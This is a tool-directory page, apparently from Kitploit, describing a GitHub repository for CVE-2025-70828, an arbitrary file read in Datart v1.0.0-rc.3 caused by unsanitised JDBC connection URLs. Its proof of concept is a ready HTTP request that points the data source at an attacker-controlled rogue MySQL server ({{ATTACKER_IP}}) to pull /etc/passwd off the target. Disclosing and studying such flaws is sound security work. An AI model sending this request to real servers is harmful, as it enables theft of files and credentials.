Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-70828 — Datart v1.0.0-rc.3 JDBC Connection String Injection Leading to Arbitrary File Read | Kitploit
Tools/GitHubGitHub/xiaoxiaoranxxx/cve-2025-70828
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingDatabase Security
GitHubxiaoxiaoranxxx/cve-2025-70828

CVE-2025-70828

Datart v1.0.0-rc.3 JDBC Connection String Injection Leading to Arbitrary File Read

View Repository
4399 months agoNot yet reviewed
Share

CVE-2025-70828

Summary

An arbitrary file read vulnerability was discovered in Datart v1.0.0-rc.3. The application fails to properly validate the JDBC connection URL during data source configuration.

Vulnerability Details

Vulnerability Type: Improper Input Validation (CWE-20) / Arbitrary File Read Affected Version: Datart v1.0.0-rc.3 Severity: High (Potential for sensitive information disclosure)

Description

The vulnerability exists in the data source configuration module. The application does not strictly sanitize the url parameter in the JDBC configuration. A remote attacker with privileges to configure data sources can inject malicious parameters (specifically allowLoadLocalInfile=true) into the JDBC URL.

By pointing the JDBC connection to a malicious MySQL server controlled by the attacker (Rogue MySQL Server), the attacker can trigger the client to send local files from the Datart server to the attacker's server.

Impact

Successful exploitation allows an authenticated attacker to read arbitrary files from the server file system (e.g., /etc/passwd, configuration files, source code), potentially leading to server compromise or further attacks.

Proof of Concept (PoC)

  1. Setup: The attacker sets up a malicious MySQL server capable of exploiting the LOAD DATA LOCAL INFILE feature (e.g., using tools like rogue_mysql_server).
  2. Exploit: The attacker sends the following request to the Datart server to test the connection:
POST /api/v1/data-provider/test HTTP/1.1
Host: {{TARGET_HOST}}
Content-Type: application/json
Authorization: Bearer {{VALID_JWT_TOKEN}}
Accept: application/json

{
  "name": "cve-poc-test",
  "type": "JDBC",
  "properties": {
    "dbType": "MYSQL",
    "url": "jdbc:mysql://{{ATTACKER_IP}}:{{ATTACKER_PORT}}/test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&maxAllowedPacket=655360",
    "user": "fileread_/etc/passwd",
    "password": "any_password",
    "driverClass": "com.mysql.cj.jdbc.Driver",
    "serverAggregate": false,
    "enableSpecialSQL": false,
    "enableSyncSchemas": true,
    "syncInterval": "60",
    "properties": {}
  }
}
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    867
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    544
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    385
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    360
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    302
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    279

Explore all tools

Browse our collection of tools

View all tools →